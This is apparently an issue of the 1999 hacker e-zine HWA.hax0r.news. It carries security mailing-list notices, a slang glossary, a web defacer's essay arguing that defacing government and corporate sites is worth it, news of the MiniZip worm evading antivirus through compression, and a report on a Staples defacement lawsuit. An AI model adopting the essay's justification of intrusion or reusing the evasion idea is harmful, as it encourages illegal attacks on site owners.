On the community creating front you will find a set of forums
and mailing lists we hope you will find useful. A number of them
are not scheduled to start for several weeks but starting today
the following list is available:
* Incidents' Mailing List. BUGTRAQ has always been about the
discussion of new vulnerabilities. As such I normally don't approve
messages about break-ins, trojans, viruses, etc with the exception
of wide spread cases (Melissa, ADM worm, etc). The other choice
people are usually left with is email CERT but this fails to
communicate this important information to other that may be
potentially affected.
The Incidents mailing list is a lightly moderated mailing list to
facilitate the quick exchange of security incident information.
Topical items include such things as information about rootkits
new trojan horses and viruses, source of attacks and tell-tale
signs of intrusions.
To subscribe email LISTSERV@SECURITYFOCUS.COM with a message body
of:
SUBS INCIDENTS FirstName, LastName
Shortly we'll also be introducing an Information Warfare forum along
with ten other forums over the next two months. These forums will be
built and moderated by people in the community as well as vendors who
are willing to take part in the community building process.
*Note to the vendors here* We have several security vendors who have
agreed to run forums where they can participate in the online communities.
If you would like to take part as well, mail Alfred Huger,
ahuger@securityfocus.com.
On the information resource front you find a large database of
the following:
* Vulnerabilities. We are making accessible a free vulnerability
database. You can search it by vendor, product and keyword. You
will find detailed information on the vulnerability and how to fix it,
as well are links to reference information such as email messages,
advisories and web pages. You can search by vendor, product and
keywords. The database itself is the result of culling through 5
years of BUGTRAQ plus countless other lists and news groups. It's
a shining example of how thorough full disclosure has made a significant
impact on the industry over the last half decade.
* Products. An incredible number of categorized security products
from over two hundred different vendors.
* Services. A large and focused directory of security services offered by
vendors.
* Books, Papers and Articles. A vast number of categorized security
related books, papers and articles. Available to download directly
for our servers when possible.
* Tools. A large array of free security tools. Categorized and
available for download.
* News: A vast number of security news articles going all the way
back to 1995.
* Security Resources: A directory to other security resources on
the net.
As well as many other things such as an event calendar.
For your convenience the home-page can be personalized to display
only information you may be interested in. You can filter by
categories, keywords and operating systems, as well as configure
how much data to display.
I'd like to thank the fine folks at NETSPACE for hosting the
site for as long as they have. Their services have been invaluable.
I hope you find these changes for the best and the new services
useful. I invite you to visit http://www.securityfocus.com/ and
check it out for yourself. If you have any comments or suggestions
please feel free to contact me at this address or at
aleph1@securityfocus.com.
Cheers.
--
Aleph One / aleph1@underground.org
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01
Crypto-Gram
~~~~~~~~~~~
CRYPTO-GRAM is a free monthly newsletter providing summaries, analyses,
insights, and commentaries on cryptography and computer security.
To subscribe, visit http://www.counterpane.com/crypto-gram.html or send a
blank message to crypto-gram-subscribe@chaparraltree.com.� To unsubscribe,
visit http://www.counterpane.com/unsubform.html.� Back issues are available
on http://www.counterpane.com.
CRYPTO-GRAM is written by Bruce Schneier.� Schneier is president of
Counterpane Systems, the author of "Applied Cryptography," and an inventor
of the Blowfish, Twofish, and Yarrow algorithms.� He served on the board of
the International Association for Cryptologic Research, EPIC, and VTW.� He
is a frequent writer and lecturer on cryptography.
CUD Computer Underground Digest
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This info directly from their latest ish:
Computer underground Digest��� Sun� 14 Feb, 1999�� Volume 11 : Issue 09
�����
��������������������� ISSN� 1004-042X
������ Editor: Jim Thomas (cudigest@sun.soci.niu.edu)
������ News Editor: Gordon Meyer (gmeyer@sun.soci.niu.edu)
������ Archivist: Brendan Kehoe
������ Poof Reader:�� Etaion Shrdlu, Jr.
������ Shadow-Archivists: Dan Carosone / Paul Southworth
������������������������� Ralph Sims / Jyrki Kuoppala
������������������������� Ian Dickinson
������ Cu Digest Homepage: http://www.soci.niu.edu/~cudigest
[ISN] Security list
~~~~~~~~~~~~~~~~~~~
This is a low volume list with lots of informative articles, if I had my
way i'd reproduce them ALL here, well almost all .... ;-) - Ed
UPDATED Sept/99 - Sent in by Androthi, tnx for the update
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
--[ New ISN announcement (New!!)
Sender: ISN Mailing List <ISN@SECURITYFOCUS.COM>
From: mea culpa <jericho@DIMENSIONAL.COM>
Subject: Where has ISN been?
Comments: To: InfoSec News <isn@securityfocus.com>
To: ISN@SECURITYFOCUS.COM
It all starts long ago, on a network far away..
Not really. Several months ago the system that hosted the ISN mail list
was taken offline. Before that occured, I was not able to retrieve the
subscriber list. Because of that, the list has been down for a while. I
opted to wait to get the list back rather than attempt to make everyone
resubscribe.
As you can see from the headers, ISN is now generously being hosted by
Security Focus [www.securityfocus.com]. THey are providing the bandwidth,
machine, and listserv that runs the list now.
Hopefully, this message will find all ISN subscribers, help us weed out
dead addresses, and assure you the list is still here. If you have found
the list to be valuable in the past, please tell friends and associates
about the list. To subscribe, mail listserv@securityfocus.com with
"subscribe isn firstname lastname". To unsubscribe, "unsubscribe isn".
As usual, comments and suggestions are welcome. I apologize for the down
time of the list. Hopefully it won't happen again. ;)
mea_culpa
www.attrition.org
--[ Old ISN welcome message
[Last updated on: Mon Nov 04 0:11:23 1998]
InfoSec News is a privately run, medium traffic list that caters
to distribution of information security news articles. These
articles will come from newspapers, magazines, online resources,
and more.
The subject line will always contain the title of the article, so that
you may quickly and effeciently filter past the articles of no interest.
This list will contain:
o Articles catering to security, hacking, firewalls, new security
encryption, products, public hacks, hoaxes, legislation affecting
these topics and more.
o Information on where to obtain articles in current magazines.
o Security Book reviews and information.
o Security conference/seminar information.
o New security product information.
o And anything else that comes to mind..
Feedback is encouraged. The list maintainers would like to hear what
you think of the list, what could use improving, and which parts
are "right on". Subscribers are also encouraged to submit articles
or URLs. If you submit an article, please send either the URL or
the article in ASCII text. Further, subscribers are encouraged to give
feedback on articles or stories, which may be posted to the list.
Please do NOT:
* subscribe vanity mail forwards to this list
* subscribe from 'free' mail addresses (ie: juno, hotmail)
* enable vacation messages while subscribed to mail lists
* subscribe from any account with a small quota
All of these generate messages to the list owner and make tracking
down dead accounts very difficult. I am currently receiving as many
as fifty returned mails a day. Any of the above are grounds for
being unsubscribed. You are welcome to resubscribe when you address
the issue(s).
Special thanks to the following for continued contribution:
William Knowles, Aleph One, Will Spencer, Jay Dyson,
Nicholas Brawn, Felix von Leitner, Phreak Moi and
other contributers.
ISN Archive: ftp://ftp.repsec.com/pub/text/digests/isn
ISN Archive: http://www.landfield.com/isn
ISN Archive: http://www.jammed.com/Lists/ISN/
ISN is Moderated by 'mea_culpa' <jericho@dimensional.com>. ISN is a
private list. Moderation of topics, member subscription, and
everything else about the list is solely at his discretion.
The ISN membership list is NOT available for sale or disclosure.
ISN is a non-profit list. Sponsors are only donating to cover bandwidth
and server costs.
Win2k Security Advice Mailing List (new added Nov 30th)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To subscribe:
send "SUBSCRIBE WIN2KSECADVICE anonymous or name" in the message body
to listserv@listserv.ntsecurity.net
Welcome to Win2K Security Advice! Thank you for subscribing. If you have any
questions or comments about the list please feel free to contact the list
moderator, Steve Manzuik, at steve@win2ksecadvice.net.
To see what you've missed recently on the list, or to research an item
of interest, be sure to visit the Web-based archives located at:
http://www.ntsecurity.net/scripts/page_listserv.asp?s=win2ksec
==============
NTSecurity.net brings the security community a brand new (Oct 99) and
much-requested Windows security mailing list. This new moderated mailing list,
Win2KSecAdvice (formerly NTSecAdvice,) is geared towards promoting the open
discussion of Windows-related security issues.
With a firm and unwavering commitment towards timely full disclosure, this
new resource promises to become a great forum for open discussion
regarding security-related bugs, vulnerabilities, potential exploits, virus,
worms, Trojans, and more. Win2KSecAdvice promotes a strong sense of community
and we openly invite all security minded individuals, be they white hat,
gray hat, or black hat, to join the new mailing list.
While Win2KSecAdvice was named in the spirit of Microsoft's impending product
line name change, and meant to reflect the list's security focus both now and
in the long run, it is by no means limited to security topics centered around
Windows 2000. Any security issues that pertain to Windows-based networking are
relevant for discussion, including all Windows operating systems, MS Office,
MS BackOffice, and all related third party applications and hardware.
The scope of Win2KSecAdvice can be summarized very simply: if it's relevant to
a security risk, it's relevant to the list.
The list archives are available on the Web at http://www.ntsecurity.net,
which include a List Charter and FAQ, as well as Web-based searchable list
archives for your research endeavors.
SAVE THIS INFO FOR YOUR REFERENCE:
To post to the list simply send your email to
win2ksecadvice@listserv.ntsecurity.net
To unsubscribe from this list, send UNSUBSCRIBE WIN2KSECADVICE to
listserv@listserv.ntsecurity.net
Regards,
Steve Manzuik, List Moderator
Win2K Security Advice
steve@win2ksecadvice.net
@HWA
00.3 THIS IS WHO WE ARE
~~~~~~~~~~~~~~~~~~
__ ___ ___
\ \ / / |__ ___ __ _ _ __ _____ ____|__ \
\ \ /\ / /| '_ \ / _ \ / _` | '__/ _ \ \ /\ / / _ \/ /
\ V V / | | | | (_) | (_| | | | __/\ V V / __/_|
\_/\_/ |_| |_|\___/ \__,_|_| \___| \_/\_/ \___(_)
Some HWA members and Legacy staff
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
cruciphux@dok.org.........: currently active/editorial
darkshadez@ThePentagon.com: currently active/man in black
fprophet@dok.org..........: currently active/programming/IRC+ man in black
sas2@usa.net .............. currently active/IRC+ distribution
vexxation@usa.net ........: currently active/IRC+ proof reader/grrl in black
dicentra...(email withheld): IRC+ grrl in black
twisted-pair@home.com......: currently active/programming/IRC+
Foreign Correspondants/affiliate members
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Qubik ............................: United Kingdom
D----Y ...........................: USA/world media
HWA members ......................: World Media
Past Foreign Correspondants (currently inactive or presumed dead)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sla5h.............................: Croatia
N0Portz ..........................: Australia
system error .....................: Indonesia
Wile (wile coyote) ...............: Japan/the East
Ruffneck ........................: Netherlands/Holland
Wyze1.............................: South Africa
Please send in your sites for inclusion here if you haven't already
also if you want your emails listed send me a note ... - Ed
Spikeman's site is down as of this writing, if it comes back online it will be
posted here.
http://www.hackerlink.or.id/ ............ System Error's site (in Indonesian)
Sla5h's email: smuddo@yahoo.com
*******************************************************************
*** /join #HWA.hax0r.news on EFnet the key is `zwen' ***
*******************************************************************
:-p
1. We do NOT work for the government in any shape or form.Unless you count paying
taxes ... in which case we work for the gov't in a BIG WAY. :-/
2. MOSTLY Unchanged since issue #1, although issues are a digest of recent news
events its a good idea to check out issue #1 at least and possibly also the
Xmas issue for a good feel of what we're all about otherwise enjoy - Ed ...
@HWA
00.4 Whats in a name? why HWA.hax0r.news??
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Well what does HWA stand for? never mind if you ever find out I may
have to get those hax0rs from 'Hackers' or the Pretorians after you.
In case you couldn't figure it out hax0r is "new skewl" and although
it is laughed at, shunned, or even pidgeon holed with those 'dumb
leet (l33t?) dewds' <see article in issue #4> this is the state
of affairs. It ain't Stephen Levy's HACKERS anymore. BTW to all you
up and comers, i'd highly recommend you get that book. Its almost
like buying a clue. Anyway..on with the show .. - Editorial staff
@HWA
00.5 HWA FAQ v1.0 Feb 13th 1999 (Abridged & slightly updated again)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
_ ___ ___ _____ _ ___
| | | \ \ / / \ | ___/ \ / _ \
| |_| |\ \ /\ / / _ \ | |_ / _ \| | | |
| _ | \ V V / ___ \ _| _/ ___ \ |_| |
|_| |_| \_/\_/_/ \_(_)_|/_/ \_\__\_\
Also released in issue #3. (revised) check that issue for the faq
it won't be reprinted unless changed in a big way with the exception
of the following excerpt from the FAQ, included to assist first time
readers:
Some of the stuff related to personal useage and use in this zine are
listed below: Some are very useful, others attempt to deny the any possible
attempts at eschewing obfuscation by obsucuring their actual definitions.
@HWA - see EoA ;-)
!= - Mathematical notation "is not equal to" or "does not equal"
ASC(247) "wavey equals" sign means "almost equal" to. If written
an =/= (equals sign with a slash thru it) also means !=, =< is Equal
to or less than and => is equal to or greater than (etc, this aint
fucking grade school, cripes, don't believe I just typed all that..)
AAM - Ask a minor (someone under age of adulthood, usually <16, <18 or <21)
AOL - A great deal of people that got ripped off for net access by a huge
clueless isp with sekurity that you can drive buses through, we're
not talking Kung-Fu being none too good here, Buy-A-Kloo maybe at the
least they could try leasing one??
*CC - 1 - Credit Card (as in phraud)
2 - .cc is COCOS (Keeling) ISLANDS butthey probably accept cc's
CCC - Chaos Computer Club (Germany)
*CON - Conference, a place hackers crackers and hax0rs among others go to swap
ideas, get drunk, swap new mad inphoz, get drunk, swap gear, get drunk
watch videos and seminars, get drunk, listen to speakers, and last but
not least, get drunk.
*CRACKER - 1 . Someone who cracks games, encryption or codes, in popular hacker
speak he's the guy that breaks into systems and is often (but by no
means always) a "script kiddie" see pheer
2 . An edible biscuit usually crappy tasting without a nice dip, I like
jalapeno pepper dip or chives sour cream and onion, yum - Ed
Ebonics - speaking like a rastafarian or hip dude of colour <sic> also wigger
Vanilla Ice is a wigger, The Beastie Boys and rappers speak using
ebonics, speaking in a dark tongue ... being ereet, see pheer
EoC - End of Commentary
EoA - End of Article or more commonly @HWA
EoF - End of file
EoD - End of diatribe (AOL'ers: look it up)
FUD - Coined by Unknown and made famous by HNN <g> - "Fear uncertainty and doubt",
usually in general media articles not high brow articles such as ours or other
HNN affiliates ;)
du0d - a small furry animal that scurries over keyboards causing people to type
weird crap on irc, hence when someone says something stupid or off topic
'du0d wtf are you talkin about' may be used.
*HACKER - Read Stephen Levy's HACKERS for the true definition, then see HAX0R
*HAX0R - 1 - Cracker, hacker wannabe, in some cases a true hacker, this is difficult to
define, I think it is best defined as pop culture's view on The Hacker ala
movies such as well erhm "Hackers" and The Net etc... usually used by "real"
hackers or crackers in a derogatory or slang humorous way, like 'hax0r me
some coffee?' or can you hax0r some bread on the way to the table please?'
2 - A tool for cutting sheet metal.
HHN - Maybe a bit confusing with HNN but we did spring to life around the same
time too, HWA Hax0r News.... HHN is a part of HNN .. and HNN as a proper
noun means the hackernews site proper. k? k. ;&
HNN - Hacker News Network and its affiliates http://www.hackernews.com/affiliates.html
J00 - "you"(as in j00 are OWN3D du0d) - see 0wn3d
MFI/MOI- Missing on/from IRC
NFC - Depends on context: No Further Comment or No Fucking Comment
NFR - Network Flight Recorder (Do a websearch) see 0wn3d
NFW - No fuckin'way
*0WN3D - You are cracked and owned by an elite entity see pheer
*OFCS - Oh for christ's sakes
PHACV - And variations of same <coff>
Phreaking, Hacking, Anarchy, Cracking, Carding (CC) Groups Virus, Warfare
Alternates: H - hacking, hacktivist
C - Cracking <software>
C - Cracking <systems hacking>
V - Virus
W - Warfare <cyberwarfare usually as in Jihad>
A - Anarchy (explosives etc, Jolly Roger's Cookbook etc)
P - Phreaking, "telephone hacking" PHone fREAKs ...
CT - Cyber Terrorism
*PHEER - This is what you do when an ereet or elite person is in your presence
see 0wn3d
*RTFM - Read the fucking manual - not always applicable since some manuals are
pure shit but if the answer you seek is indeed in the manual then you
should have RTFM you dumb ass.
TBC - To Be Continued also 2bc (usually followed by ellipses...) :^0
TBA - To Be Arranged/To Be Announced also 2ba
TFS - Tough fucking shit.
*w00t - 1 - Reserved for the uber ereet, noone can say this without severe repercussions
from the underground masses. also "w00ten" <sic>
2 - Cruciphux and sAs72's second favourite word (they're both shit stirrers)
*wtf - what the fuck, where the fuck, when the fuck etc ..
*ZEN - The state you reach when you *think* you know everything (but really don't)
usually shortly after reaching the ZEN like state something will break that
you just 'fixed' or tweaked.
@HWA
-=- :. .: -=-
01.0 Greets!?!?! yeah greets! w0w huh. - Ed
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
____ _
/ ___|_ __ ___ ___| |_ ___
| | _| '__/ _ \/ _ \ __/ __|
| |_| | | | __/ __/ |_\__ \
\____|_| \___|\___|\__|___/
Thanks to all in the community for their support and interest but i'd
like to see more reader input, help me out here, whats good, what sucks
etc, not that I guarantee i'll take any notice mind you, but send in
your thoughts anyway.
* all the people who sent in cool emails and support
FProphet Pyra TwstdPair _NeM_
D----Y Dicentra vexxation sAs72
Spikeman p0lix Vortexia Wyze1
Pneuma Raven Zym0t1c duro
Repluzer astral BHZ ScrewUp
Qubik gov-boi _Jeezus_ Haze_
thedeuce ytcracker
Folks from #hwa.hax0r,news and #fawkerz, #ninjachat and #sesame
Ken Williams/tattooman ex-of PacketStorm,
& Kevin Mitnick
kewl sites:
+ http://www.hack.co.za NEW
+ http://blacksun.box.sk. NEW
+ http://packetstorm.securify.com/ NEW
+ http://www.securityportal.com/ NEW
+ http://www.securityfocus.com/ NEW
+ http://www.hackcanada.com/
+ http://www.l0pht.com/
+ http://www.2600.com/
+ http://www.freekevin.com/
+ http://www.genocide2600.com/
+ http://www.hackernews.com/ (Went online same time we started issue 1!)
+ http://www.net-security.org/
+ http://www.slashdot.org/
+ http://www.freshmeat.net/
+ http://www.403-security.org/
+ http://ech0.cjb.net/
@HWA
01.1 Last minute stuff, rumours and newsbytes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"What is popular isn't always right, and what is right isn't
always popular..."
- FProphet '99
+++ When was the last time you backed up your important data?
Thanks to myself for providing the info from my wired news feed and others from whatever
sources, also to Spikeman for sending in past entries.... - Ed
@HWA
01.2 MAILBAG - email and posts from the message board worthy of a read
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Yeah we have a message board, feel free to use it, remember there are no stupid questions...
well there are but if you ask something really dumb we'll just laugh at ya, lets give the
message board a bit more use eh? i'll be using a real message board when the hwa-iwa.org
domain comes back online (soon) meanwhile the beseen board is still up...
==============================================================================
02.0 From the editor.
~~~~~~~~~~~~~~~~
#include <stdio.h>
#include <thoughts.h>
#include <backup.h>
main()
{
printf ("Read commented source!\n\n");
/*
* Short issue this week, i'm still sick <feh>
* so haven't put as much time as I usually do
* into digging up info and etc, hopefully be
* back to normal next week...
*
*/
printf ("EoF.\n");
}
Congrats, thanks, articles, news submissions and kudos to us at the
main address: hwa@press.usmc.net complaints and all nastygrams and
mai*lbombs can go to /dev/nul nukes, synfloods and papasmurfs to
127.0.0.1, private mail to cruciphux@dok.org
danke.
C*:.
-= start =--= start =--= start =--= start =--= start =--= start =--= start
____ _ _
/ ___|___ _ __ | |_ ___ _ __ | |_
| | / _ \| '_ \| __/ _ \ '_ \| __|
| |__| (_) | | | | || __/ | | | |_
\____\___/|_| |_|\__\___|_| |_|\__|
/ ___|| |_ __ _ _ __| |_
\___ \| __/ _` | '__| __|
___) | || (_| | | | |_
|____/ \__\__,_|_| \__|
-= start =--= start =--= start =--= start =--= start =--= start =--=
03.0 Yes It Is (Worth It)
~~~~~~~~~~~~~~~~~~~~
contributed by ytcracker
Active web page defacer YTCracker has written an
article in response to Brian Martin's article Is It Worth
IT, published by HNN last week. Mr Martin asked if the
recent spate of web page defacements was worth the
trouble it causes the perpetrators. YTCracker has
recently defaced such high profile pages as Bureau of
Land Management National Training Center and the
Defense Contracts Audit Agency. YTCracker now
explains the motivation and says that, Yes, it is worth
it.
Buffer Overflow
http://www.hackernews.com/orig/buffero.html
HNN Cracked Pages Archive - Some of YTCrackers work is displayed here.
http://www.hackernews.com/archive/crackarch.html
"Yes, it is."
A response to Brian Martin's Is it worth it? article.
By YTCracker (phed@felons.org)
This article was written in response to an article written
by Brian Martin concerning web page defacement, its
risks, and its consequences. He asks the eternal question
"Is it worth it?" to those who participate in these kinds of
activities. Many of the individuals I have talked to have
mixed thoughts about the article. Some individuals say it
really taught them something valuable. Some said it
scared them into considering quitting. Others, including
myself, carry a somewhat apathetic attitude toward the
whole thing in general. Allow me to explain.
A few things need to be established about this
defacement culture. One, I believe that this in no way
constitutes as hacking. On any level, no matter how you
look at it, web page defacement is destructive. In some
cases, it can ruin the credibility of a company or a
government agency. Two, I believe that web page
defacement should carry a "message". When I spoke with
Brian earlier, I tried to make it clear that we [as third
person onlookers to a defacement] cannot determine this
message in some cases. To us, "hack0r x 0ens u in 9d9"
probably means nothing at all. To hack0r x, it may have.
However, I personally believe that if hack0r x is going to
break into this page and disrupt their message, his better
be worthwhile. Thirdly, I believe that there is a "whiter"
side to defacement. This side operates within definitive
ethical boundaries and attempts to make web page
cracking as non-malicious as possible.
I do my best to have the ability to define myself under
this ethical side. I back everything up. I leave the
administrator information on how to fix the security hole. I
don't disrupt the flow of information - I leave a link to the
original page in plain sight. While these factors don't
guarantee my immunity, they surely aren't raising any
eyebrows and leading people to contemplate my threat to
national security. I am not concerned with leaving
messages like "fuq da fedz in 9d9 suk0r my nutsaq." That,
frankly, is asking for trouble. It also serves no purpose.
Why do I do it? There are a few key reasons. I am sure
that everyone out there that contributes to this scene
has their own.
First off, I am seventeen [before I go any further, I am
referring to seventeen as "kid", not "a minor and therefore
will receive lesser penalty"]. As a young member of
society oftentimes I find that my voice goes unheard. In a
book titled Rise and Fall of the American Teen by Thomas
Hine [NPR broadcast] , the theory is presented that the
proverbial "teenager" did not exist until the 1930s. Until
that time, teenagers were too busy supporting the family,
getting married, and having children. Nowadays, if I were
to write my senator, correct my teacher, or start a
business, people automatically assume that I am
incapable. This is a stereotype that I have not established
for myself; other teenagers have given me a reputation
unbefitting of who I really am. By defacing a website,
people have to listen. The volume of people that visit the
site as it is defaced combined with the volume of people
that view it mirrored is immense. Therefore, I have
effectively gotten my message out, and people can
choose to listen to it or not.
If this sounds extremely selfish, I agree. The twist comes
in the questions that people ask themselves. For instance,
one of my motivations is enlightening system
administrators. There has been many a case where I have
noticed a vulnerablilty, mailed the admin, and his/her
cockyness resulted in ignoring my warning. Two or three
days later, I see this admin's page on the mirror.
Sometimes, the best way to inform someone is to show
them. Seeing is believing. The point is, if I can get at
least one of the hundred people that see that site,
including the administrator, to realize that security isn't all
its cracked up to be and change their views, I have done
my job. This line of thought is very common in the heads
of most defacement practitioners.
Second, I am a graffiti artist. I throw burners on walls and
trains. I have ran with some infamous crews. I do not
represent the "tagging" aspect [for the uninitiated, the
equivalent of "b0n3r oenz u" on a defacement]. I strongly
feel that graffiti can be very artistic and carry a very
strong message if done correctly. People will pass by your
piece and either love it or hate it. For that moment they
take their mind off of their jobs, their children, their lives
and they contemplate what they are looking at. This is
very much so the purpose of web defacement in my eyes.
Third, I don't care. I can't care. I haven't been raided,
haven't stared down a lawman's gun, and haven't been
investigated for computer crime. If any of these were to
happen to me, I have no doubt in my mind I will see things
in a different light. This ignorance is obviously not very
healthy. I have weighed the consequences and see very
little in favor of me stopping. I will most likely continue to
deface until it gets old, I have nothing else to say, or
simply don't have time. I would argue that ninety percent
of web page defacements fall under this mindset. This is
sad, but true. This is not to say that I or anyone else isn't
aware of the rules. That assumption is far from the truth.
What it means is that we are basically carefree in the
sense that we could be arrested and still feel good about
ourselves. ;)
In a sense, it isn't worth it. There are only a few of us
singlehandedly cracking with good intentions. The rest of
the scene is too busy talking shit to each other or rm
-rfing everything they can that there is a stereotype
affiliated. As aforementioned, stereotypes are the ultimate
backpedal to anything we accomplish. Just as teenagers
are ignored and pigeonholed, everyone who totes a
computer and investigates security will be labeled a
threat.
What does make it worth it? Arguably, the few who carry
on the tradition. PHC and Narcissus - using their
defacements as a political tool. DHC - putting an
interesting poetic twist to their cracks. ULG - for making
BIG statements on BIG sites. Last but not least, v00d00 -
for his cynical views and unique style. There are others,
no doubt, but these guys definately take the cake for
originality and style - they have my respect.
So next time you see my name or anyone else's pop up on
attrition and wonder why we do it, think back to this
article. Is it worth it?
You decide.
YTCracker(phed@felons.org)
(c)1999 YTCracker andseven one nine
@HWA
04.0 ExplorerZip Shrinks, Becomes MiniZip
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
By applying a simple compression scheme (Neolite) to
the well known destructive virus WormExplorer it is
possible to sneak the old worm by antivirus software.
This 'new' version of WormExplorer is being called
MiniZip. The worm uses MAPI-capable e-mail programs
to propagate, such as Microsoft Corp.'s Outlook,
Microsoft Corp.'s Outlook Express and Microsoft Corp.'s
Exchange. At least twenty companies and several
thousand systems have been infected so far. (It is
pretty sad that with todays technology a simple
compression routine is enough to bypass antivirus
technology. Pattern detection is not the answer. Sure
hope the AV companies have something better up their
sleeves.)
ZD Net
http://www.zdnet.com/zdnn/stories/news/0,4586,2402114,00.html?chkpt=zdnntop
MSNBC
http://www.msnbc.com/news/341096.asp
Associated Press - via Baltimore Sun
http://www.sunspot.net/cgi-bin/gx.cgi/AppLogic+FTContentServer?section=cover&pagename=story&storyid=1150180206405
MiniZip a nasty, small clone of ExploreZip
New virus compresses ExploreZip code to
evade anti-virus software, bites at least a
dozen companies.
By Jim Kerstetter, PC Week
UPDATED December 1, 1999 9:04 AM PT
They call it, MiniZip.
Virus researchers at Network Associates Inc. (Nasdaq:
NETA), Symantec Corp. (Nasdaq: SYMC) and Trend
Micro Inc. warned Tuesday evening that a new version of
the ExploreZip virus, which wipes out information on a
hard drive, has hit at least 12 companies so far, six of
them high-tech manufacturing companies. Several
thousand PCs are believed to have been hit.
The ExploreZip variant, also called ExploreZip.worm.pak,
is 120KB, about half the size of its predecessor. But
other than its diminutive size, MiniZip acts exactly like
ExploreZip, which wipes out files on hard drives and
can spread via e-mail.
Compression conundrum
MiniZip is so small because the virus's author
compressed the original ExploreZip code. Compressing it
changes the bits, meaning that anti-virus software has
trouble identifying the new virus. MiniZip first appeared
last week, so most anti-virus makers have updated their
software to detect its code. While anti-virus makers
issued notice of the new updates, it appears that many
companies have not updated their anti-virus software,
allowing Tuesday's outbreak.
What to look for
ExploreZip, the "father" of MiniZip, was first reported on
June 11. To propagate, the worm uses MAPI-capable
e-mail programs, such as Microsoft Corp.'s Outlook,
Outlook Express and Exchange.
It e-mails itself out as an attachment with the filename
"zipped_files.exe." The body of the e-mail message looks like
it came from a regular e-mail correspondent and says:
"I received your email and I shall send you a reply ASAP.
Till then, take a look at the attached zipped docs."
Once it's launched, MiniZip launches the original
Worm.ExploreZip routine. It looks for any drives mapped
to the infected computer and spreads to them. It also
looks for unread e-mail and automatically replies to them,
in search of new victims.
"That's why it has spread so rapidly now, but didn't at first,"
said Vincent Weafer, director of the Symantec Antivirus
Research Center. "This is exactly how ExploreZip
spread."
MiniZip may display an error message informing the user
that the file is not a valid archive, according to the
anti-virus companies. The worm copies itself to the
c:\windows\system directory with the file name
"Explore.exe" and then modifies the WIN.INI file so that
the virus launches each time Windows is started.
Associated Press;
Computer virus devouring files
The Associated Press
SAN FRANCISCO (AP) � Experts scrambled to warn thousands
of computer users that a familiar and damaging virus has struck
scores of companies and could be slumbering in their e-mail inboxes.
The Mini-Zip virus tore through computers on Tuesday, devouring
files and crippling e-mail systems, anti-virus analysts said. It was
expected to renew its assault today as unsuspecting users logged on.
Dan Schrader, vice president of new technology at Trend Micro in
Cupertino, Calif., said he fielded complaints of significant problems
from four Fortune 500 companies and scores of smaller companies.
Sal Viveros, a marketing manager for Santa Clara-based Network
Associates, which makes anti-virus software, said 20 large
corporations had been affected by Tuesday evening.
The experts refused to release the names of affected companies.
Mini-Zip's parent bug, Worm.Explore.Zip, struck last summer. It
was considered the most destructive virus since the Melissa outbreak
in the spring.
``The last time this virus came along it affected tens of thousands �
maybe hundreds of thousands of computers � and caused millions
of dollars in damage,'' Schrader said. ``It's malicious and
fast-spreading. We consider this to be high-risk.''
It wasn't clear whether the problem had been reported to the
government-chartered CERT Coordination Center � formerly the
Computer Emergency Response Team � at Carnegie Mellon
University in Pittsburgh. There were no warnings on its Web site
early today.
Anti-virus experts said the bug gets loose from an infected system as
a seemingly friendly reply to a clean e-mail sent via the Microsoft
Outlook, Outlook Express or Exchange browsers.
The virus intercepts the original message and automatically sends
itself as a response � even changing the subject line from, for
example, ``Work Meeting'' to ``Re: Work Meeting.''
The body of the message reads: ``Hi (recipient's name)! I received
your e-mail and I shall send you an e-mail ASAP. Till then, take a
look at the attached zipped docs. bye.''
The e-mail contains an attachment called ``zipped�files.exe.'' If a
user double-clicks on the attachment, the virus is set loose in the new
victim's system.
It then destroys a series of files in a computer's hard drive by
replacing them with empty files.
Anti-virus experts cautioned users against opening e-mails if they do
not know the sender or why they were sent. They said the virus
could be fought with updated anti-virus software.
Originally published on 12/01/1999
@HWA
05.0 Staples Files Suit Against Unknown Defacer
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Weld Pond
Staples Inc. has filed a lawsuit in US District Court in
Boston charging that "John Doe," an unidentified cyber
intruder, illegally accessed the company's Web site and
damaged the company by stealing e-commerce
business. The defacement that occurred on October
9th, featured advertisements for products at Home
Depot. Staples hope to identify the intruder shortly.
(How do you sue an unknown person?)
Boston Globe
http://www.globe.com/dailyglobe2/334/business/Staples_files_suit_against_Web_hacker+.shtml
Associated Press
http://library.northernlight.com/EB19991130960000057.html?cb=0&dx=1006&sc=0#doc
Staples files suit against Web
hacker
By Shelley Murphy, Globe Staff, 11/30/99
hopping on line may be the best way to avoid holiday crowds, but
customers visiting Staples's Web site one day last month encountered a
unique problem when they unwittingly found themselves in a competitor's
store.
A hacker broke into the Framingham office-supply retailer's Internet site,
www.staples.com, on Oct. 9 and posted advertisements for one of the
company's major competitors, Office Depot.
Shoppers clicking on Office Depot products were linked immediately to the
home page of Staples's major competitor, which is based in Delray Beach,
Fla.
Officials at Staples Inc. filed a lawsuit in US District Court in Boston
yesterday charging that ''John Doe,'' the unidentified hacker, illegally accessed
the company's Web site and damaged the company by stealing e-commerce
business.
The suit contends that the hacker is believed to live in or near Massachusetts
and that the company expects to identify him shortly.
''We consider it highly unlikely that...our competitors were involved in any
way,'' said Shannon Lapierre, public relations manager of Staples, speculating
that the changes to the Web site may have been a prank.
